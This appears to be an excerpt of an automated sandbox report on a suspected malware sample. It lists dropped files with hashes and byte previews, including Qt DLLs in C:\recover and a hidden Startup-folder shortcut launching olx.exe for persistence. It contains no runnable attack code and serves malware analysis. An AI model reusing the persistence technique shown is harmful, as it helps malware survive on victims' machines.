Preview:	PRKF...................................,.........O.3......\|..{...u&..NN........\|.......@.....F.h.V..d...9..qq=...`.>Yj;.ld.o2......Ta..>..C...#Y.7..<.B1..:... ...=.f...=....,.w.\X!..A....1E........<....F....R,....=.........(................................................@....t.#mK...T.s.....m.x.%......0t..ui,..(.H.l......D.sz.'........... .EMe.4K...a....D.}T~..t./~.I`.i.%.1.I....~.e...................@_....C5'5.....V.....p.G..y......4'\.{.<....$G.v......h./................ .7.'A..g.......g.3.Z~..Eb....V.. ..-F..q....M...................@.....F.h.V..d...9..qq=...`.>Yj;.ld.o2......Ta..>..C...#Y.7............A...V.....N....v..X........&.2.......z5>b...P...\|:.sF..r.44..5...b..R.F..%A5J"4...........P.......@CHAI.......@........CERT...................X......P.......b............)Q....TA3....Qs..g5M....L..-.................................(...<....................................................._....C5'5.....V.....p.G..y......4'\.{.<....$G.v......h./

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalCache\PlayReady\mspr.hds

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	528384
Entropy (8bit):	0.013098116536049278
Encrypted:	false
SSDEEP:	12:2xHB1mXi66dSmPtV0wfDXECEe2K/Elacv8jvfpqS98Xigin0:2JTmy6jwJfltvkjC3pP98ygin0
MD5:	FEBDA1CA69D43484E8B2D86BDFF69BC8
SHA1:	D7A9EA575E3B0386915A32905EC9B5914E77C1EE
SHA-256:	C71CA972DA262EA52BDB55216D4CADC2721A5B5A16F20C862E0DBCAB4C71C37E
SHA-512:	D2968F53CF1876D5A259A71DDBB292E6F40404638A44D4ECBBB93FF2DC3425C56B3014B8C2799D3BA7D04DBD1384D233A44D88376D979F39714FAD4F37FD7422
Malicious:	false
Preview:	........A.s..%-.i...0...............G..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\EntClientDb.edb

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3b59da8b, page size 8192, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	3670016
Entropy (8bit):	0.2305762946904878
Encrypted:	false
SSDEEP:	1536:dSh2HsKY8kAJnbagTC0/k63bBu7fhWxFW68Sh2BKY8kmyDFqfOVgTC0/k63bBu7M:d6XLCO686WLoF
MD5:	7199324A972E2095E9081D5DC8D5265D
SHA1:	13285F7B3CD6C9D2276EC0C81E3536DAF5B5C9D9
SHA-256:	9AFA968702550DE65CD811D17B4F95121B7F728E9ED498693ABB7D08A93D523A
SHA-512:	7F2215F4A1E700CA5350BD8F43592431D75A1F30543A443568268674959068C87D039F586509A2388D938EE2BCB4AA5AC28273A88C31B9812F9E84529076F870
Malicious:	false
Preview:	;Y.... .......-.......,X>..4...\|w......................................4...\|K.h............................]X..4...\|..........................................................................................................eJ........... ...................................................................................................... ........4...\|...............................................................................................................................................................................................4...\|..................................).K. 4...\|.&..................g.4...\|..........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\EntClientDb.jfm

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.04774413842413191
Encrypted:	false
SSDEEP:	3:IGblqVrjM/lPlzRgXllPVQJtl3tgXlloll:IGblqV3M/9fgXSJeXA
MD5:	A230A284901A8B8EFE88070E3DB5EFD8
SHA1:	CA6D04B27914B8C5474AFAA9B7E1BEFDDA3D62BD
SHA-256:	AB8A5B0C93511482C332826E826122FEC8411540D21E4EBBFA3E56A07C1F4F31
SHA-512:	640FDBC2AA5D1F90C33A6ACFB2B04AC68E9C9B39DD2D93B2ED50FE594EB4636873B2F8CF74B9371E21D959D1759F2C58A06873F3866BADBF45F31D5717A1F8F0
Malicious:	false
Preview:	q........................................4...\|...4...\|...................4...\|..........@....4...\|K...................g.4...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.chk

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.6393652051451584
Encrypted:	false
SSDEEP:	12:bx6podZUI1+uJ1sdZUI1+uJ1AQelR3x6podZUI1+uJ1sdZUI1+uJ1AQelR:16ibUO/sbUO/AP6ibUO/sbUO/A
MD5:	25EAC13B911080DB66AEC568DDC33A01
SHA1:	530167B76F222DAE773473B68371730A61AB1450
SHA-256:	2ECFFB62B443D2821FDAE7EF524B984F8BBD39DD88C83EC68DFC35182DC5FCA3
SHA-512:	2A6BAB40E53680C0EEB1180CC11249FD2D12DB874A6BF36B735E54EAE48C62C7ECD0E5E939C61D1D08146A675E33524AF292FD390A455256B5959A33DB9B50EE
Malicious:	false
Preview:	..v%.................]X..4...\|..................C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\...........................................................................................................................................................C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\............................................................................................................................................................0u..,.....................5w.................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.log

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	2097152
Entropy (8bit):	0.6848675999386247
Encrypted:	false
SSDEEP:	1536:VoBxR1dbEBmHl7DulTu6Wa+ciy6zWEstGZBiNK8mfO4Qt6AW15w8AZ5yeh0G32fg:VoBxR3D3FOZR1Vqg6NaSm9
MD5:	B908E30DDB35DFE4CC8D6CA74E2372B3
SHA1:	A744C54B3639E8F7F9B9461DFC6656C2EAFF12F6
SHA-256:	336387DF48DF7BED148E2A3513CBD6CF6A9FF7D43D6C96E6D1D2BFBFEC3ECD67
SHA-512:	C0FDDA6E559616FDCB0CEBB31C40B42E5F9CFD63D0CF3B425384EA9BEAC0F58EC75F34977A112FABB067AA2C9D0F8FB52CE93FAB6F255B70C924FD2E796CF4C7
Malicious:	false
Preview:	?I............. .4...\|.......................]X..4...\|..................C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\...........................................................................................................................................................C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\............................................................................................................................................................0u..,.....................5w.......................................#.................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\edbres00001.jrs

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	2097152
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B2D1236C286A3C0704224FE4105ECA49
SHA1:	7D76D48D64D7AC5411D714A4BB83F37E3E5B8DF6
SHA-256:	5647F05EC18958947D32874EEB788FA396A05D0BAB7C1B71F112CEB7E9B31EEE
SHA-512:	731859029215873FDAC1C9F2F8BD25A334ABF0F3A9E1B057CF2CACC2826D86B0C26A3FA920A936421401C0471F38857CB53BA905489EA46B185209FDFF65B3B6
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\edbres00002.jrs

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	2097152
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B2D1236C286A3C0704224FE4105ECA49
SHA1:	7D76D48D64D7AC5411D714A4BB83F37E3E5B8DF6
SHA-256:	5647F05EC18958947D32874EEB788FA396A05D0BAB7C1B71F112CEB7E9B31EEE
SHA-512:	731859029215873FDAC1C9F2F8BD25A334ABF0F3A9E1B057CF2CACC2826D86B0C26A3FA920A936421401C0471F38857CB53BA905489EA46B185209FDFF65B3B6
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\edbtmp.log

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	2097152
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B2D1236C286A3C0704224FE4105ECA49
SHA1:	7D76D48D64D7AC5411D714A4BB83F37E3E5B8DF6
SHA-256:	5647F05EC18958947D32874EEB788FA396A05D0BAB7C1B71F112CEB7E9B31EEE
SHA-512:	731859029215873FDAC1C9F2F8BD25A334ABF0F3A9E1B057CF2CACC2826D86B0C26A3FA920A936421401C0471F38857CB53BA905489EA46B185209FDFF65B3B6
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\anonymous\tmp.edb

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa0c4c0d4, page size 8192, JustCreated, Windows version 0.0
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.05449693346110148
Encrypted:	false
SSDEEP:	48:v/ElaA9LZxGA26kWsSaHPVQ6yELSe25yQVejV+:klaA9LZQAtKNvVGUgm+
MD5:	2D846712753CD63CD5618C3DCCA220E1
SHA1:	46FCE9524235AE480EBC48EA46A8FBE772CAE5AA
SHA-256:	052EA0C0BFBA1F62392D80309393F189833E866069CBEB2B03EABE4507B6CFDD
SHA-512:	E2F618EE27405AE1EF2A0D009CC845FCA341220CDD592FAF326A49E1586F8C5D53B604CF6598B6A01E237B019EDA29631D67986576BC2468D101A1210EFDA6AE
Malicious:	false
Preview:	....... .......@.........l..4...\|........................................................................................................................................................................................................... ...................................................................................................... ....................................................................................................................................................................................................................................................,.).4...\|......................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\SRPData.xml (copy)

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	264
Entropy (8bit):	4.857488108604196
Encrypted:	false
SSDEEP:	6:e28IqUHeE7PnC8vPNhy5mOknCEGmNrDnb:eCznv3ONFsrDnb
MD5:	E70B83621EBC59BF81F80C7550730FAF
SHA1:	84936C18A2BEFC07CDA9EB2EA90CD35D8F110A32
SHA-256:	C7065478067F4D1932C0243A276682E747BA398B8BA37CFDE73C4D12D81C2C2D
SHA-512:	A178850AEA1E417CE6E1C20E68332B5A6CEC6B194843F38B58760E0DB597F2B9F925DC50987357DC1ED7D865D3188CB8243F6A547A5EFDF00B4C6F40BA0CEB41
Malicious:	false
Preview:	<SRPData version="1" sessionId="1"><Outcomes><Outcome id="videoCompleted" timesOccurred="0" /></Outcomes><Threshold launches="1" daysLaunched="1" dayOfLastLaunch="6" monthOfLastLaunch="12" yearOfLastLaunch="2024" userHasAccepted="false" timesPolled="0"/></SRPData>

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\SRPData.xml.~tmp

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	264
Entropy (8bit):	4.857488108604196
Encrypted:	false
SSDEEP:	6:e28IqUHeE7PnC8vPNhy5mOknCEGmNrDnb:eCznv3ONFsrDnb
MD5:	E70B83621EBC59BF81F80C7550730FAF
SHA1:	84936C18A2BEFC07CDA9EB2EA90CD35D8F110A32
SHA-256:	C7065478067F4D1932C0243A276682E747BA398B8BA37CFDE73C4D12D81C2C2D
SHA-512:	A178850AEA1E417CE6E1C20E68332B5A6CEC6B194843F38B58760E0DB597F2B9F925DC50987357DC1ED7D865D3188CB8243F6A547A5EFDF00B4C6F40BA0CEB41
Malicious:	false
Preview:	<SRPData version="1" sessionId="1"><Outcomes><Outcome id="videoCompleted" timesOccurred="0" /></Outcomes><Threshold launches="1" daysLaunched="1" dayOfLastLaunch="6" monthOfLastLaunch="12" yearOfLastLaunch="2024" userHasAccepted="false" timesPolled="0"/></SRPData>

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.8962698998008936
Encrypted:	false
SSDEEP:	96:DJmKr59MWDeHj9nPQnFBIsP80N/mKqXLJBsPkGoqWQf:VmkDCZPQfPfPyqW
MD5:	727B3CD758423BAD94E359C9CCAFDB06
SHA1:	0E5F3AAE43351E5A6831B420ABFBCB30A236E0FC
SHA-256:	0128E24B9F982551C00A75977FF64218F5C33AAA954172339DD45E0D5A1AEF5E
SHA-512:	E2FBEA88C8927BBC4405958542BB8D0A9CA96A69C2F463D9D053CA268EB1DDC09944350E87AEBB48199134004A54379626F1C71171FF51FB700B564F1D5D864B
Malicious:	false
Preview:	regf........b.Q.7.................. .... ......y.b.3.d.8.b.b.w.e.\.S.e.t.t.i.n.g.s.\.s.e.t.t.i.n.g.s...d.a.t...y..j.....J.....y..j.....J.........z..j.....J.....rmtmJq(y.G..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	2.426251623447824
Encrypted:	false
SSDEEP:	96:YJkGKr59MWDeHj9nPQnFBIsP80N/mKqXLJBsPkGoqWQf:8/kDCZPQfPfPyqW
MD5:	FA79EE961F4B436716F91974176228AC
SHA1:	CBE7FF8F36F8C2596F112BB7FA517228A776EF18
SHA-256:	E3BCED801FB1CA71DF1713E1C174D048D657CFB97EBC26850F49BD824D6D58EA
SHA-512:	60DAA63D05FFE8F14852E0FE7803B44ABED71732767B2D629AD0562C84B933C5948F001429834D5213051F5FCDCD37E50BD9FAD3D3B71D50B17D24661F08B5E9
Malicious:	false
Preview:	regf........b.Q.7.................. .... ......y.b.3.d.8.b.b.w.e.\.S.e.t.t.i.n.g.s.\.s.e.t.t.i.n.g.s...d.a.t...y..j.....J.....y..j.....J.........z..j.....J.....rmtmJq(y.G..................................................................................................................................................................................................................................................................................................................................................HvLE............. ......b...M.)\|V\|h.\....... ..hbin................b.Q.7..........nk,.T...7..................................x...............................Test....p...sk..h...h.......t.......H...X.............4.........?.......................?....................... ... ...............YQ..fr]%dc;.............nk ......G..................(...............h...............................Configuration...p...sk..x...x.......t.......H...X.............4.........?.......................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Explorer.lnk

Process:	C:\recover\pw\pw.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Thu Dec 5 07:21:37 2024, mtime=Thu Dec 5 07:22:11 2024, atime=Thu Dec 5 07:21:37 2024, length=0, window=hide
Category:	modified
Size (bytes):	1126
Entropy (8bit):	4.393665973455839
Encrypted:	false
SSDEEP:	24:8mSxSlCDOrjUaGJMThBFyDPf1Myzv/MRht1d/5zmdRYnzEnYnzEb:8mS+CwrGJiyD31mfcRYnzEnYnzEb
MD5:	9F18C253BE0CCF61A88B292CC072B978
SHA1:	B87FE1478C3E067073D12BAB7C4A83DD2B7466FD
SHA-256:	A36887E5535B78875D8099F2BCF224A2A44F0DE43ECC102B91E6B85613B6020A
SHA-512:	31D54F8B978C043E33FE816E634788C6C5ED417F8EB233CCDAD63505449BA5F65C558B98DDAE2B5E1D528736112703A040E5F6DF8A3B30D1C4D1C35AC7FEA6E0
Malicious:	false
Preview:	L..................F.... ....."..F...m;..F...."..F...............................P.O. .:i.....+00.../C:\...................V.1......Y.B..recover.@......Y.j.Y.B.........................4..r.e.c.o.v.e.r.....V.2......Y.B .olx.exe.@......Y.B.Y.B....u.....................e`>.o.l.x...e.x.e.......K...............7.......J.............b>....Windows 10.C:\recover\olx.exe........\.....\.....\.....\.....\.r.e.c.o.v.e.r.\.o.l.x...e.x.e...C.:.\.r.e.c.o.v.e.r.............x.)#x...................6.......C.o.n.s.o.l.a.s...T.T.F.o.n.t._._....k..........9.a......G......d...................2................7......:...................vvv.;x......a....HV............n.......A...1SPS.XF.L8C....&.m.%................S.-.1.-.5.-.1.8.............1SPS..W....C.a.!..P&................................................................................................................................................................................................................9...1SPS..mD..pH.H@..=x.....h....H.

C:\Users\user\AppData\Roaming\marke.mp4

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	9948891
Entropy (8bit):	7.970438103482471
Encrypted:	false
SSDEEP:	196608:kkWW9oougcr7SzvUdtmuYW3rAy5VKYpEsLr/aCa56Mea7uJDSC0lS42Wc6TG:kkfjuguezIZhdpxLr/HaNea7uRQS6TG
MD5:	4E32465790161B71DD4487B71AA035E1
SHA1:	1E89992D2490272D85AA995F36B704B357E084F4
SHA-256:	3D658D650FC530303C972B221C328E0AF574385438856204EEA1F34181FB4C41
SHA-512:	82CCB4C22FE2589CAF343832B84D63E39650A143552EC60C2DD181A551FE538CB2F026505E700CA35FA205DA4A4AF0660D91C85560C6F7262CC09BE6259AB56A
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41..(ymoov...lmvhd..................6.................................................@...................................trak...\tkhd......................6.................................................@........8.....$edts....elst..........6.............mdia... mdhd..............2.....U......-hdlr........vide............VideoHandler.....minf....vmhd...............$dinf....dref............url .......bstbl....stsd............avc1...........................8.H...H.........Lavc61.11.100 libx264.................4avcC.B.(....gB.(..x.'..Z... .... ...A..I...h.. ....pasp............btrt.....T..T.....stts...........].......\stss.......................-...3...Q...n.........................................../...M....stsc........................stsz...........]..f...U...v...D....4..l...)...C...5....P..=...F.......',......Fh..1...@...%r../....(..I.......M........9..?2..!.......U...K...]...f...K.../T..69..H...5...G...BL..6.......8...R.......;...5...2...#r..C....G.

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.416639027322531
Encrypted:	false
SSDEEP:	6144:Acifpi6ceLPL9skLmb0mRSWSPtaJG8nAgex285i2MMhA20X4WABlGuN65+:li58RSWIZBk2MM6AFBQo
MD5:	2C2CBA5EB754CBA55541FE856851676B
SHA1:	983B8FD35BB064BD19EC857C350F78E3A14BA412
SHA-256:	BED02D72D022F148BE38D06ECAB1427ABC33B09541384A81D1FD753FBD32A51C
SHA-512:	83C74839915D070236C3D2448CF8DCCD510C38711137E6FB8AF4E2A5A7E7040A1E046BBD34742A8E24EEC97DBFEC13A7E14390F389F4BA9025B812A261323216
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm*....G..............................................................................................................................................................................................................................................................................................................................................b...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\recover\Qt5Core.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6023664
Entropy (8bit):	6.768988071491288
Encrypted:	false
SSDEEP:	98304:hcirJylHYab/6bMJsv6tWKFdu9CLiZxqfg8gwf:+irJylHFb/QMJsv6tWKFdu9CL4xqfg8x
MD5:	817520432A42EFA345B2D97F5C24510E
SHA1:	FEA7B9C61569D7E76AF5EFFD726B7FF6147961E5
SHA-256:	8D2FF4CE9096DDCCC4F4CD62C2E41FC854CFD1B0D6E8D296645A7F5FD4AE565A
SHA-512:	8673B26EC5421FCE8E23ADF720DE5690673BB4CE6116CB44EBCC61BBBEF12C0AD286DFD675EDBED5D8D000EFD7609C81AAE4533180CF4EC9CD5316E7028F7441
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: az10.exe, Detection: malicious, Browse Filename: Update_4112024.exe, Detection: malicious, Browse Filename: Update_4112024.exe, Detection: malicious, Browse Filename: PyQtScrcpy.exe, Detection: malicious, Browse Filename: PyQtScrcpy.exe, Detection: malicious, Browse Filename: active.exe, Detection: malicious, Browse Filename: PumpBotPremium.msi, Detection: malicious, Browse Filename: Bypass Apk.exe, Detection: malicious, Browse Filename: Bypass Apk.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......D.............................UJ......................................................W.....,..................r....................Rich............PE..d...;._.........." ..........-.......-......................................`\.....x.\...`...........................................L..O....T...... \.......U.. ....[......0\..%..,.H.T.....................H.(.....H.0............./.H............................text............................... ..`.rdata..F7%.../..8%.................@..@.data...x....PT..\...6T.............@....pdata... ....U.."....T.............@..@.qtmimed.....0W.......V.............@..P.rsrc........ \.......[.............@..@.reloc...%...0\..&....[.............@..B........................................................................................................................................................................

C:\recover\Qt5Gui.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7008240
Entropy (8bit):	6.674290383197779
Encrypted:	false
SSDEEP:	49152:9VPhJZWVvpg+za3cFlc61j2VjBW77I4iNlmLPycNRncuUx24LLsXZFC6FOCfDt2/:BJZzI1ZR3U9Cxc22aDACInVc4Z
MD5:	47307A1E2E9987AB422F09771D590FF1
SHA1:	0DFC3A947E56C749A75F921F4A850A3DCBF04248
SHA-256:	5E7D2D41B8B92A880E83B8CC0CA173F5DA61218604186196787EE1600956BE1E
SHA-512:	21B1C133334C7CA7BBBE4F00A689C580FF80005749DA1AA453CCEB293F1AD99F459CA954F54E93B249D406AEA038AD3D44D667899B73014F884AFDBD9C461C14
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......QH^~.)0-.)0-.)0-.Q.-.)0-...-.)0-.F4,.)0-.F3,.)0-.F5,.)0-.F1,.)0-.Y1,.)0-.B5,.)0-.B1,.)0-.)1-m,0-.Y4,.)0-.Y5,\|(0-.Y0,.)0-.Y.-.)0-.).-.)0-.Y2,.)0-Rich.)0-................PE..d....._.........." ......?...+.....X.?.......................................k.....R.k...`.........................................pKK.....d.e.\|....`k.......g.......j......pk..6....F.T................... .F.(.....F.0.............?.p+...........................text...2.?.......?................. ..`.rdata...z&...?..\|&...?.............@..@.data....o... f.......f.............@....pdata........g.......f.............@..@.rsrc........`k.......j.............@..@.reloc...6...pk..8....j.............@..B........................................................................................................................................................................................................

C:\recover\Qt5Quick3DAssetImport.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1592832
Entropy (8bit):	6.881358260520212
Encrypted:	false
SSDEEP:	49152:eUJzzk4QEPZzCXDM9gA+XB870DWiCDlMBYDosaRx3b1Yt0MtA:3koJCdf3+t0M
MD5:	9383681EE6CE543AD74B470CAE00347E
SHA1:	8C40957786EFFCB7FD5B4B16AA64BC53258BD790
SHA-256:	D9D1EFE9676B4FAA03F858303C353B17C9C9CFDEDE7409F77F978CA940045AF7
SHA-512:	0BEEC89141930030A7B8566FC672F70720B4B1FC3139E2C6BB0D54D3354CCE826EB44EB2CBC8571DAF7E05664E8CEBA080CE23C77D41F326C8143518B349FEE7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|.e...6...6...6...7...6...7...6...7...6.er6...6.v.7...6...67..6...7...6...7...6...6...6...7...6..7...6..7...6................................PE..d...yaQg.........." ...).\..........`.....................................................`............................................0... .......................................0D.......................F..(....B..@...............8............................text...XL.......N.................. ..`.managedX....`.......R.............. ..`hydratedP....p...........................rdata..&............`..............@..@.data...0...........................@....pdata...............,..............@..@.rsrc................D..............@..@.reloc...............H..............@..B................................................................................................................................................

C:\recover\Qt5Quick3DUtils.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	46064
Entropy (8bit):	6.4428232598436646
Encrypted:	false
SSDEEP:	768:mNmhkiffmLwQUrDijMa8a+42e/tzdDGtUf2hy:mk6kQDj+f4D/tz2Uf7
MD5:	ABD9C60C2397FAA3F8CB8034696506B9
SHA1:	C28A27391EA5943297A743D0993AB836BF96F93C
SHA-256:	27899212150CA9CD74CD6F90AFC7B70EFFC8787734BF614CD383B4436162C28D
SHA-512:	938B655E3FAA7C145A4C93F7ADAF91BF7327BEC48CC39287CC286EF799EF66740CFF348749078E03760B194C782AC617D525DCD4228A8C12ED05B354227988BE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..k...k...k...b.\.m......i.......i......e......c......h.......n...k...?.......l.......j.....0.j...k.X.j.......j...Richk...........................PE..d......_.........." .....X...B.......\..............................................Mf....`..........................................~..d.......................d...............$....s..T........................... t..0............p...............................text...xW.......X.................. ..`.rdata...+...p...,...\..............@..@.data...8...........................@....pdata..d...........................@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................

C:\recover\Utils.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2020864
Entropy (8bit):	6.869452683641229
Encrypted:	false
SSDEEP:	24576:ABZXvaxSrTu7cn2yZCrnsnb91UiNL6ZnsRbHf1H27Gpj4msmsGTP6SpWJb7OXXtM:eZX8Snug2yZCyt69Gpj4+r0yxgX9b
MD5:	AC5659EDA6D1A73A451E1BA576773089
SHA1:	7EFE1AC95D35B3C02765F4A78D3CD4A8F5F80566
SHA-256:	A8AE894940D2F1841EE3A04284A870CEE0A8016D30EEF31208446D88F9D8C205
SHA-512:	FAC7BF4A694C045947EA42A36DB9BCB9D1A655402708AAE21343F157FD6E4C53DFC687C231378F6234B4638021368C0C6BADD68B13362A1F1E122E87C802E4DB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........P..1...1...1.......1.......1.......1...I/..1...Y...1...1..l1..V....1..V....1...1...1..V....1.....1.....1..................................PE..d...}aQg.........." ...).....................................................%...........`.........................................@$#.P....$#.......%......P$.T#............%.h..... ....................... .(..... .@............p...............................text............................... ..`.managed............................ ..`hydrated................................rdata.......p......................@..@.data........@#.....................@....pdata..T#...P$..$..................@..@.rsrc.........%.....................@..@.reloc..h.....%.....................@..B................................................................................................................................................

C:\recover\libcrypto-3-x64.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4655016
Entropy (8bit):	5.837710085198737
Encrypted:	false
SSDEEP:	98304:87gsxK1PfhpsjE93L4gSUg3ie6b1CPwDvt3uFADCRTqA:7sxK1Pfj/93L4gSh3iDb1CPwDvt3uFA6
MD5:	93659803EC56A97680F36DE12798E7B0
SHA1:	1E255607A3AB5AB30F27E21577F1DCC9C5A1E4C6
SHA-256:	BB7630C52F50031D850529B4B6100F8B9DF84AAE095D18E402B14C5C8D786AAB
SHA-512:	6C08FB3C28D9F90FB82A7A39FE010915373EE85661A8CEB9B1B392B8AB1017F310E995EB701BC8E2EEA5D76ED752AE6F117A45CED568FB82169ABB8815472938
Malicious:	false
